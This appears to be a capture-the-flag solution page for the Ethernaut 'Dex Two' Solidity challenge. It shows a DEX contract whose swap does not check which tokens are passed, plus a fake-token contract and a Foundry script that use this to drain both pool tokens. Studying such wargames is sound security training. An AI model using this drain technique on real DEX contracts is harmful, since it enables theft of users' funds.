Copy // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol" ;
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol" ;
import "openzeppelin-contracts-08/access/Ownable.sol" ;
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor () {}
function setTokens ( address _token1 , address _token2 ) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity ( address token_address , uint256 amount) public onlyOwner {
IERC20 (token_address). transferFrom (msg.sender , address ( this ) , amount);
}
function swap ( address from , address to , uint256 amount) public {
require ( IERC20 (from). balanceOf (msg.sender) >= amount , "Not enough to swap" );
uint256 swapAmount = getSwapAmount (from , to , amount);
IERC20 (from). transferFrom (msg.sender , address ( this ) , amount);
IERC20 (to). approve ( address ( this ) , swapAmount);
IERC20 (to). transferFrom ( address ( this ) , msg.sender , swapAmount);
}
function getSwapAmount ( address from , address to , uint256 amount) public view returns ( uint256 ) {
return ((amount * IERC20 (to). balanceOf ( address ( this ))) / IERC20 (from). balanceOf ( address ( this )));
}
function approve ( address spender , uint256 amount) public {
SwappableTokenTwo (token1). approve (msg.sender , spender , amount);
SwappableTokenTwo (token2). approve (msg.sender , spender , amount);
}
function balanceOf ( address token , address account) public view returns ( uint256 ) {
return IERC20 (token). balanceOf (account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor ( address dexInstance , string memory name , string memory symbol , uint256 initialSupply)
ERC20 (name, symbol)
{
_mint (msg.sender , initialSupply);
_dex = dexInstance;
}
function approve ( address owner , address spender , uint256 amount) public {
require (owner != _dex , "InvalidApprover" );
super. _approve (owner , spender , amount);
}
}
Exploit Contract Exploit Deployment Script
Copy // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol" ;
// ================================================================
// │ LEVEL 23 - DEX TWO │
// ================================================================
contract AttackToken is ERC20 {
constructor ( uint256 initialSupply) ERC20 ("AttackToken", "ATK") {
_mint (msg.sender , initialSupply);
}
}
Copy // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { Script , console } from "forge-std/Script.sol" ;
import { HelperFunctions } from "script/HelperFunctions.s.sol" ;
import { AttackToken } from "src/Level23.sol" ;
// ================================================================
// │ LEVEL 23 - DEX TWO │
// ================================================================
interface IDex {
function token1 () external view returns ( address );
function token2 () external view returns ( address );
function swap ( address from , address to , uint256 amount) external ;
function approve ( address spender , uint256 amount) external ;
}
contract Exploit is Script , HelperFunctions {
function run () public {
address targetContractAddress = getInstanceAddress ();
IDex dex = IDex (targetContractAddress);
uint256 initialAtkSupply = 400 ;
vm. startBroadcast ();
// Deploy AttackToken ATK
AttackToken atk = new AttackToken (initialAtkSupply);
// Transfer 100 ATK to DEX
atk. transfer (targetContractAddress , 100 );
// Get token addresses
address token1 = dex. token1 ();
address token2 = dex. token2 ();
// Approve DEX to spend ATK
atk. approve (targetContractAddress , initialAtkSupply);
// Swap tokens
dex. swap ( address (atk) , token1 , 100 );
dex. swap ( address (atk) , token2 , 200 );
vm. stopBroadcast ();
}
}
Submit instance... 🥳